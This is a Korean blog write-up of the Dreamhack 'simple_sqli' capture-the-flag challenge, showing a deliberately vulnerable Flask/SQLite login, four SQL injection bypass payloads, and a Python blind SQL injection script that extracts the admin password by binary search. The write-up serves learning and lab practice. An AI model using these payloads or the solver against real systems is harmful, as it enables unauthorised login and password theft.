Fascination
article thumbnail

simple_sqli

로그인 서비스입니다.

SQL INJECTION 취약점을 통해 플래그를 획득하세요.

플래그는 flag.txt, FLAG 변수에 있습니다

* [Dreamhack] Exercise: SQL Injection

* [Dreamhack] Exercise: Blind SQL Injection


# 배경 지식

- 본 문제에서는 SQLite를 이용해 데이터베이스를 관리하고 있음

- SQLite: 기존에 알려진 MySQL, MSSQL, Oracle 등과 유사한 형태의 데이터베이스 관리 시스템

- SQLite는 데이터 관리를 위한 일부 필수 기능만을 지원하기 때문에 기존 관리 시스템에 비해 비교적 경량화된 데이터 베이스 관리 시스템으로 널리 알려져 있음

- SQLite는 많은 양의 컴퓨팅 리소스를 제공하기 어려운 임베디드 장비, 비교적 복잡하지 않은 Standalone 프로그램에서 사용되며, 개발 단계의 편의성 또는 프로그램의 안전성을 제공

 

 

# 문제 목표 및 기능 요약

- 목표: Simple-SQLi 문제의 목표는 관리자 계정으로 로그인하면 출력되는 flag를 획득하는 것

- 사이트에 접속해보면 간단히 로그인 기능만을 제공하고 있음을 확인할 수 있음

 

 

# 데이터 베이스 구조

데이터 베이스 구성 코드

- 구성된 데이터 베이스는 아래 코드를 통해 database.db 파일로 관리하고 있음

DATABASE = "database.db" # 데이터베이스 파일명을 database.db로 설정
if os.path.exists(DATABASE) == False: # 데이터베이스 파일이 존재하지 않는 경우,
    db = sqlite3.connect(DATABASE) # 데이터베이스 파일 생성 및 연결
    db.execute('create table users(userid char(100), userpassword char(100));') # users 테이블 생성
    # users 테이블에 관리자와 guest 계정 생성
    db.execute(f'insert into users(userid, userpassword) values ("guest", "guest"), ("admin", "{binascii.hexlify(os.urandom(16)).decode("utf8")}");')
    db.commit() # 쿼리 실행 확정
    db.close() # DB 연결 종료

- 위의 코드로 생성된 데이터 베이스 구조는 아래와 같음

userid와 userpassword 컬럼은 각각 이용자의 ID와 PW를 지정

코드를 살펴보면, guest 계정은 이용자가 알 수 있지만

admin 계정은 랜덤하게 생성된 16바이트의 문자열이기 때문에 

비밀번호를 예상할 수 없음

 

 

# 엔드포인트: /login

login 페이지 코드

- 로그인 페이지를 구성하는 코드

@app.route('/login', methods=['GET', 'POST']) # Login 기능에 대해 GET과 POST HTTP 요청을 받아 처리함
def login(): # login 함수 선언
    if request.method == 'GET': # 이용자가 GET 메소드의 요청을 전달한 경우,
        return render_template('login.html') # 이용자에게 ID/PW를 요청받는 화면을 출력
    else: # POST 요청을 전달한 경우
        userid = request.form.get('userid') # 이용자의 입력값인 userid를 받은 뒤,
        userpassword = request.form.get('userpassword') # 이용자의 입력값인 userpassword를 받고
        # users 테이블에서 이용자가 입력한 userid와 userpassword가 일치하는 회원 정보를 불러옴
        res = query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"')
        if res: # 쿼리 결과가 존재하는 경우
            userid = res[0] # 로그인할 계정을 해당 쿼리 결과의 결과에서 불러와 사용
            if userid == 'admin': # 이 때, 로그인 계정이 관리자 계정인 경우
                return f'hello {userid} flag is {FLAG}' # flag를 출력
            # 관리자 계정이 아닌 경우, 웰컴 메시지만 출력
            return f'<script>alert("hello {userid}");history.go(-1);</script>'
        # 일치하는 회원 정보가 없는 경우 로그인 실패 메시지 출력
        return '<script>alert("wrong");history.go(-1);</script>'

코드를 살펴보면, 메소드에 따른 요청마다 다른 기능을 수행

- GET: useriduserpassword를 입력할 수 있는 로그인 페이지 제공

password 입력창에 guest를 입력하면 로그인을 수행할 수 있음

- POST: 이용자가 입력한 계정 정보가 데이터베이스에 존재하는지 확인

  > 이때, 로그인 계정이 admin일 경우 FLAG를 출력

 

 

# 취약점 분석

- Simple-SQLi 문제를 풀이하는 접근 방법

1) 관리자 계정의 비밀번호를 모른채로 로그인을 우회하여 풀이하는 방법 

2) 관리자 계정의 비밀번호를 알아내고 올바른 경로로 로그인하는 방법

login과 query_db 함수

def login(): # login 함수 선언
    ...
    userid = request.form.get('userid') # 이용자의 입력값인 userid를 받은 뒤,
    userpassword = request.form.get('userpassword') # 이용자의 입력값인 userpassword를 받고
    # users 테이블에서 이용자가 입력한 userid와 userpassword가 일치하는 회원 정보를 불러옴
    res = query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"')
    ...
    
def query_db(query, one=True): # query_db 함수 선언
    cur = get_db().execute(query) # 연결된 데이터베이스에 쿼리문을 질의
    rv = cur.fetchall() # 쿼리문 내용을 받아오기
    cur.close() # 데이터베이스 연결 종료
    return (rv[0] if rv else None) if one else rv # 쿼리문 질의 내용에 대한 결과를 반환

userid와 userpassword를 이용자에게 입력받고, 동적으로 쿼리문을 생성한 뒤 query_db 함수에서 SQLite에 질의

이렇게 동적으로 생성한 쿼리를 RawQuery라고 함

RawQuery를 생성할 때, 이용자의 입력 값이 쿼리문에 포함되면 SQL Injection 취약점에 노출될 수 있음

이용자의 입력값을 검사하는 과정이 없기 때문에 임의의 쿼리문을 userid 또는 userpassword에 삽입해

SQL Injection 공격 수행 가능

 

 

# 익스플로잇 (1) - SQL Injection

- 문제를 해결하기 위해서는 userid가 admin인 계정으로 로그인해야 함

로그인 쿼리

SELECT * FROM users WHERE userid="{userid}" AND userpassword="{userpassword}";

로그인을 위해 실행하는 쿼리문으로, 이를 참고해 admin이라는 결과가 반환되도록 쿼리문을 조작해야 함

SQL Injection 공격 쿼리문 작성

- admin 계정으로 로그인할 수 있는 SQL Injection 공격 코드

/*
ID: admin, PW: DUMMY
userid 검색 조건만을 처리하도록, 뒤의 내용은 주석처리하는 방식
*/
SELECT * FROM users WHERE userid="admin"-- " AND userpassword="DUMMY"
/*
ID: admin" or "1 , PW: DUMMY
userid 검색 조건 뒤에 OR (또는) 조건을 추가하여 뒷 내용이 무엇이든, admin 이 반환되도록 하는 방식
*/
SELECT * FROM users WHERE userid="admin" or "1" AND userpassword="DUMMY"
/*
ID: admin, PW: DUMMY" or userid="admin
userid 검색 조건에 admin을 입력하고, userpassword 조건에 임의 값을 입력한 뒤 or 조건을 추가하여 userid가 admin인 것을 반환하도록 하는 방식
*/
SELECT * FROM users WHERE userid="admin" AND userpassword="DUMMY" or userid="admin"
/*
ID: " or 1 LIMIT 1,1-- , PW: DUMMY
userid 검색 조건 뒤에 or 1을 추가하여, 테이블의 모든 내용을 반환토록 하고 LIMIT 절을 이용해 두 번째 Row인 admin을 반환토록 하는 방식
*/
SELECT * FROM users WHERE userid="" or 1 LIMIT 1,1-- " AND userpassword="DUMMY"

SQL은 수많은 조건절을 제공하기 때문에 이를 통해 다양한 방법으로 공격을 시도할 수 있음

관리자 계정 로그인

- 앞서 작성한 공격 쿼리문을 userid와 userpassword 입력창에 입력하면 admin 계정으로 로그인되는 것을 확인할 수 있으며, FLAG를 획득할 수 있음

공격 쿼리문을 입력해 관리자 계정으로 로그인한 모습
FLAG 획득

 

 

# 익스플로잇 (2) - Blind SQL Injection

(1) Blind SQL Injection

- 비밀번호는 SQLite의 users 테이블에 있으므로, 이 테이블의 값을 읽는 Blind SQL Injection 코드를 작성해 볼 것

- Blind SQL Injection은 여러 번의 질의를 통해 정답을 찾아내는 스무고개 놀이와 비슷

- 비밀번호를 구성할 수 있는 문자를 출력 가능한 아스키 문자로 제한했을 때, 한 자리에 들어갈 수 있는 문자의 종류는 94(0x20 ~ 0x7E)개

- 쿼리를 잘 이용하면 각 자리를 따로 조사할 수 있으므로, 실제 전송해야할 최대 쿼리의 갯수는 940 = 94*10로 줄어듬

- 이분 탐색 알고리즘을 적용하면 log2 94 * 10 ≒ 65 개로 더욱 축소됨

- 적어보일 수 있지만, 여전히 직접시도하기에는 많고 비밀번호의 길이가 이보다 길수도 있으므로, 자동화 스크립트를 작성하는 것이 바람직

 

(2) 로그인 요청의 폼 구조 파악

- 쿼리를 자동화하려면, 로그인 할 때 전송하는 POST 데이터의 구조를 파악해야 함

- 크롬의 개발자 도구를 이용

1. 개발자 도구의 네트워크 탭을 열고, Preserve log 클릭

2. userid에 guest, password에 guest를 입력하고 login 버튼 클릭

3. 메시지 목록에서 /login으로 전송된 POST 요청 찾기

4. 하단의 Form Data 확인

- 로그인할 때 입력한 userid 값은 userid로 password는 userpassword로 전송됨을 알 수 있음

 

(3) 비밀번호 길이 파악

- 다음과 같이 admin의 비밀번호 길이를 찾아내는 파이썬 스크립트 작성해보기

#!/usr/bin/python3.9
import requests
import sys
from urllib.parse import urljoin
class Solver:
    """Solver for simple_SQLi challenge"""
    # initialization
    def __init__(self, port: str) -> None:
        self._chall_url = f"http://host1.dreamhack.games:{port}"
        self._login_url = urljoin(self._chall_url, "login")
    # base HTTP methods
    def _login(self, userid: str, userpassword: str) -> requests.Response:
        login_data = {
            "userid": userid,
            "userpassword": userpassword
        }
        resp = requests.post(self._login_url, data=login_data)
        return resp
    # base sqli methods
    def _sqli(self, query: str) -> requests.Response:
        resp = self._login(f"\" or {query}-- ", "hi")
        return resp
    def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int:
        while 1:
            mid = (low+high) // 2
            if low+1 >= high:
                break
            query = query_tmpl.format(val=mid)
            if "hello" in self._sqli(query).text: # 응답값에 hello라는 텍스트가 있으면 실행
                high = mid
            else:
                low = mid
        return mid
    # attack methods
    def _find_password_length(self, user: str, max_pw_len: int = 100) -> int:
        query_tmpl = f"((SELECT LENGTH(userpassword) WHERE userid=\"{user}\") < {{val}})"
        pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len)
        return pw_len
    def _find_password(self, user: str, pw_len: int) -> str:
        pw = ''
        for idx in range(1, pw_len+1):
            query_tmpl = f"((SELECT SUBSTR(userpassword,{idx},1) WHERE userid=\"{user}\") < CHAR({{val}}))"
            pw += chr(self._sqli_lt_binsearch(query_tmpl, 0x2f, 0x7e))
            print(f"{idx}. {pw}")
        return pw
    def solve(self) -> None:
        # Find the length of admin password
        pw_len = solver._find_password_length("admin")
        print(f"Length of the admin password is: {pw_len}")
        # Find the admin password
        print("Finding password:")
        pw = solver._find_password("admin", pw_len)
        print(f"Password of the admin is: {pw}")
        input()
if __name__ == "__main__":
    port = sys.argv[1]
    solver = Solver(port)
    solver.solve()

 

나는 실행하면 답이 도출되고 바로 종료되어서 input() 코드를 추가하여 종료되지 않도록 했음

 

비밀번호 공격

 

(4) 플래그 획득

- 획득한 비밀번호를 이용하여 admin으로 로그인하면, 플래그를 획득할 수 있음

 

'War Game & CTF > Dreamhack' 카테고리의 다른 글

[Dreamhack] basic_exploitation_000  (0) 2022.08.31
[Dreamhack] shell_basic  (0) 2022.08.31
[Dreamhack] CSRF-2  (0) 2022.03.01
[Dreamhack] CSRF-1  (0) 2022.03.01
[Dreamhack] xss-2  (0) 2022.02.12
profile

Fascination

@euna-319

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!